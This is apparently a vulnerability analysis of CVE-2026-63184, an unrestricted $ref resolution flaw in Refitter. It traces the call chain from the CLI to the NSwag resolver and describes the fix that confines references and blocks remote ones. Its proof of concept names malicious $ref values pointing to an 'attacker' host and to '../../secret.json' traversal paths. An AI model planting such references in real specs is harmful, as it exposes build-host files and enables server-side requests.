CVE-2026-63184 is an "unrestricted $ref resolution" flaw in Refitter. Refitter ships NSwag/NJsonSchema and calls it with unsafe defaults, so any $ref in an OpenAPI description is followed: remote http(s) references are fetched from the build host (SSRF, CWE-918 / remote file inclusion CWE-829) and local references are read from disk with no confinement to the input directory (absolute paths and ../ traversal, CWE-22 LFI), after which the referenced schema is inlined into the generated Refit code. The reporter's PoC is simply refitter <spec> --output Out.cs with a spec containing $ref: http://attacker/evil.json#/... or $ref: /abs/path.json#/... / ../../secret.json#/..., verified against Refitter 2.0.0.
Root cause: the reference resolution performed by the NJsonSchema resolver is invoked from Refitter with no validation of the $ref targets. The exploitation chain is RefitterRunner.RunAsync -> RefitGenerator.CreateAsync -> RefitGenerator.GetOpenApiDocument -> OpenApiDocumentFactory.CreateAsync -> DocumentLoader.LoadAsync -> FileDocumentStrategy.TryLoadAsync/HttpDocumentStrategy.TryLoadAsync -> NSwag OpenApiDocument.FromFileAsync/FromJsonAsync (which triggers JsonReferenceResolver.ResolveFileReferenceAsync -> File.ReadAllText / HttpClient). In the verified vulnerable 2.0.0 build the loader logic lived inline in OpenApiDocumentFactory.CreateAsync/CreateUsingNSwagAsync (OpenApiMultiFileReader.Read(...), OpenApiDocument.FromFileAsync(...)); in 2.1.0 it was refactored into DocumentLoader + strategies.
Fix: commit 6ad20a3803561225100b0a4bb6b12f947d23db7b ("confine $ref to input dir, block remote by default", released in 2.1.1) inserts a new pre-load scan (ReferenceGuard.ValidateAsync) into OpenApiDocumentFactory.CreateAsync (both overloads) and threads a new secure-by-default AllowRemoteReferences flag from RefitGenerator.GetOpenApiDocument (and the CLI/settings). The companion commits guard the validate command (OpenApiValidator.Validate) and add the --allow-remote-refs opt-in. Because the fix only adds a check in front of the existing loaders, the functions that actually process the untrusted input - OpenApiDocumentFactory.CreateAsync, RefitGenerator.GetOpenApiDocument, DocumentLoader.LoadAsync, FileDocumentStrategy.TryLoadAsync, HttpDocumentStrategy.TryLoadAsync, and the validation path OpenApiValidator.Validate - are the vulnerable/runtime-visible functions; ReferenceGuard.*/ReferenceResolutionException are the mitigation and are intentionally excluded.
Note on profiler naming: C# .NET profilers strip the namespace, so the frames read as OpenApiDocumentFactory.CreateAsync, RefitGenerator.GetOpenApiDocument, DocumentLoader.LoadAsync, FileDocumentStrategy.TryLoadAsync, HttpDocumentStrategy.TryLoadAsync, OpenApiValidator.Validate. The actual network/file syscalls will additionally surface third-party frames from NSwag/NJsonSchema (e.g. OpenApiDocument.FromFileAsync, JsonReferenceResolver.ResolveFileReferenceAsync), which are dependency code, not Refitter code.